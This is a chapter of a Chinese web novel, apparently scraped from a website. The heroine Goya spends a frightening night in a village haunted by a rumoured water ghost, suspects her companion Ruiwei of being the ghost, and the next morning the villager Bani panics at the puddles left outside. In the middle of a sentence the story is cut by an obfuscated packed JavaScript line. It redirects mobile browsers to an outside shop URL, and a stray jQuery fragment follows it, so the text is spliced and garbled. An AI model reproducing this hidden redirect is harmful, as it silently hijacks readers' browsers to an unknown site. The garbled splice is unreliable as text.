瑞维看了一眼屋外的天色,没答应:“明天再带你去,村长很喜欢他,他在我家呆一晚不会比你现在出去找他更危险。”
瑞维说话藏一句漏一句,戈雅不禁又想到了巴尼口中的水鬼。她小心翼翼地向瑞维求证,其实更想从他口中得到一句否认:“你们村真的有水鬼?”
戈雅向瑞维问起水鬼的事,他并没多做解释,但一脸讳莫如深的样子。偏偏这种“不愿多说但这里就是有秘密”的样子更会让人浮想联翩。
小小一个村子难道真有鬼,要在这么可怕的地方住一晚上?还是一个人!?戈雅觉得自己心跳的速度好像加快了些。
……
朦朦胧胧的水雾突兀出现,好像是从努特村的地底生出,在由轻薄变得浓厚的同时还在不断地变幻着形状。它寂寂悄悄地扩展,直到把整个村子笼罩。房屋与房屋之间,只有轮廓隐约可见,比这场雾气还要朦胧。
紧闭的房门外突然出现一点很细微的声音,像是有人拖着一种黏腻而沉重的脚步在小心翼翼地行走,这点儿响动足以让本就睡得不踏实的戈雅从睡梦中迅速睁开眼。
夜晚的宁静让人的耳朵变得敏锐,戈雅能听到脚步声一直在屋外徘徊,有时会靠近房门,没持续多久又会离房门远些,她感觉自己的心跳随着那脚步声的挪动在不停加速。戈雅此刻不敢动,不敢发声,生怕惊动了外面那个可能是水鬼的存在,只能默默地祈祷着那脚步声能够快点消失。
“咚”——似乎有什么重物撞在了门上。
身体瞬间僵住,戈雅感觉自己的呼吸都要停止。门外又接连传来几声响,令人心悸的撞击声在寂静的房间里回荡,她不知道外面那个东西接下来会不会破门而入,睁大眼睛警惕盯着屋外的同时还有余力发散思维——羽夜星萝可以驱邪避害的话果然是在骗人。
现在的时间每一秒对于戈雅来说都是煎熬。
惊醒她的细微响动再次响起,再然后,那黏腻沉重脚步声越来越小,越来越模糊,最后终于消失在了夜色之中。
始终没有任何动静再传进屋内,戈雅鼓起勇气,缓缓地从床上爬了起来,还不等她把提着的心重新放回肚子里,房门又被叩响。
“还来!?”戈雅无声呐喊,几乎快要抓狂。
“戈雅,是我,你开门。”瑞维的声音透过房门显得有些沉闷。
戈雅只当没听见,她全神贯注地盯着两只手看:“也不知道对付水鬼有没有用。”
“戈雅,我是瑞维,你开门让我进去。”
“……”
“戈雅,我知道你还在里面,真的没事吗?”瑞维敲门的声音越来越急。
屋外的瑞维一直没听到戈雅的回应也不放弃,一直杵在门口不走。
恐惧积攒得足够多,戈雅此刻恶从胆边生,小声地把索莱尔和斐利斯都骂了一顿:“还说给我当保镖,真要人时一个靠谱的都没有。”出了一通郁气之后,她破罐破摔地冲屋外喊道:“要能进来你就进,别想骗我给你开门。”
“我真是瑞维,我刚刚给你找吃的去了。”
“你们水鬼抓人还真讲究,是不是有那种‘必须房间主人亲自打开房门才能进’的禁制在所以你才想进又进不来?”
屋外的声音变得无奈:“我真是瑞维。”
“我不信。”
被戈雅一而再再而三拒绝,屋外的瑞维被磨没了脾气,不再开口让戈雅给他开门,屋内又恢复了短暂的安静。
戈雅挪到离房门还有一段距离的时候停下来,不太确定地往房门的方向瞄了瞄:“这次应该走了……”
“砰”——房门破开,冷风灌入。
“吧……我c……!”即将脱口而出的c语言以被人捂嘴而告终。
耳边是瑞维冷淡的嗓音:“别叫,真的是我。”
戈雅保证,刚刚要是她没被捂住嘴,她能发出这辈子最尖锐的爆鸣。惊魂未定之下,心脏还在咚咚乱跳,但不影响她使劲拍打瑞维的胳膊:“你踹门,你竟然踹门!吓死我了,吓死我了……”
烤好的鱼被放在一张宽大的绿叶上,旁边还有几个颜色鲜艳的野果。瑞维把烤鱼递给戈雅:“吃吗?”
戈雅一下子没了气焰,连声音都低了好几个度:“吃。”饿了一天的人被食物的香气这么一勾,什么仇什么恨都烟消云散了,她刚想咬下一块鱼肉,突然停住:“这个鱼肉其实不是鱼肉,而是你用的某种障眼法,在我吃下它后就必须跟你走,你其实不是瑞维,是水鬼。”
“我刚刚就想问了,你这些稀奇古怪但又莫名让人觉得合理的说法是怎么想出来的?”
“我老家的戏剧都这么演。”
“老家?尼普城?”
戈雅含糊答道:“比尼普城再远点儿。”
瑞维也不是凡事都要刨根问到底的人,他把话题扯回来:“水鬼确实来过,不过早就离开了,我真不是水鬼。”
戈雅恋恋不舍地把目光从鱼肉身上移开:“这要看你如何证明。”
瑞维拉着戈雅往屋外走,戈雅急得连连挣脱:“你干什么!?”出门?这门能出吗?
瑞维铁了心不放手:“带你出门找证据。”
当戈雅终于走出房间,羽夜星萝在门前落了一地,看上去有些凄惨。一股夏日河塘边的泥腥味扑面而来,仔细分辨,还能从泥腥味里边闻到一丝淡淡的腐臭。这股味道并不好闻,戈雅忍不住捂住口鼻,瓮声瓮气地问道:“这是什么味道?”
瑞维手指着地面上的一处:“你自己看。”
满是杂乱的脚印,能看出刚刚确实有什么东西来过。除此之外,屋外的泥地上,还有好几滩水洼,那股难闻的气味的源头就是这些水洼。
瑞维:“水鬼身上自带一股臭味,你现在可以来闻闻我身上。”
手掌按在瑞维肩上,戈雅的目光坚定又诚挚:“我但凡曾经学过几手,你进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17910161|213095||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
屋的时候我都要给你全身上下贴满黄符,毕竟防人之心不可无,更何况还有可能是鬼。刚刚确实错怪你了,但真不怪我,谁叫你来的时机不凑巧。”
瑞维去捂戈雅嘴的那一瞬间,看到她的脸色肉眼可见地变得煞白,知道自己刚刚进去把人吓得很惨,戈雅都没怪罪他,他哪好意思为一个错认去怪罪人家。
来来回回这么一耽搁,瑞维道:“鱼肉估计都凉了,你还吃吗?”
“吃。”
天还只有个鱼肚白,巴尼就已经起床,他一瘸一拐地朝戈雅走来,热情地跟她打招呼:“晚上睡得好吗?我家那口子也起来了,我让她去给你做点儿东西吃。”
戈雅连连摆手:“不用麻烦,我现在还不饿。不过,巴尼大叔,你的脚怎么回事,昨天都还好好的。”
巴尼皱了皱眉头,脸上露出一丝迷茫的神情:“我也不清楚,早上起来就感觉腿疼得厉害,走路也不利索了,或许是晚上睡觉不小心撞到哪儿了吧。”
巴尼还想开口寒暄几句,往前走了两步就看到了地上的水洼,他的眼睛瞪得极大,仿佛看到了世界上最恐怖的东西。接着,他的身体也开始不受控制地颤抖起来:“这,这……水鬼来了,水鬼来我家了!”巴尼惊恐地大叫了一声,声音因为恐惧而变得尖锐。
戈雅好不容易平复的心情被巴尼一嗓子吓得背上又起了一层冷汗,她觉得找到索莱尔和斐利斯这件事已经刻不容缓,这种担惊受怕的日子她一分钟不想过了。
“昨天晚上大叔你一点儿动静都没听到吗?”
“完全没有,我也不是睡觉睡得特别死的那种人,但昨晚我真的一点儿声音都没听到。”巴尼说话时上下牙齿都在打架。
他突然像是想起了什么,不顾自己还不怎么利索的腿,急急往外走:“不行,我得赶紧去报告给村长。这水鬼又来了,村里得想办法应对。戈雅,你在这里待着千万不要乱跑,等我回来。听我的,现在水鬼就喜欢抓你们这些旅人,否则昨晚它也不会在你门前出现,一定,一定不要到处跑。”
巴尼一走,留下戈雅和瑞维两人面面相觑。
瑞维:“那鱼……”
进屋拿上鱼过后,戈雅拉着瑞维向外赶:“我可以一边走路一边吃,你先带我去你家把索莱尔找到,我现在急需跟他汇合。”
“‘索莱尔’这个名字已经在你口中听过太多次,你很在意他?”瑞维敛下眼眸分析道:“是因为他那张能迷倒任何女人的脸?”
戈雅步履匆匆脚下带风,首先对索莱尔那张俊美无俦的脸进行了肯定:“他那张脸的确赏心悦目。不过,他所拥有的武力值更令现在的我心动。”
瑞维停下脚步,很认真地问道:“他很厉害?”
“当然。”戈雅拽了一把瑞维,没拽动:“你倒是动起来啊!急死我了。”
“我家不在那个方向,你走错了,应该右拐后再直走。”
“哦。”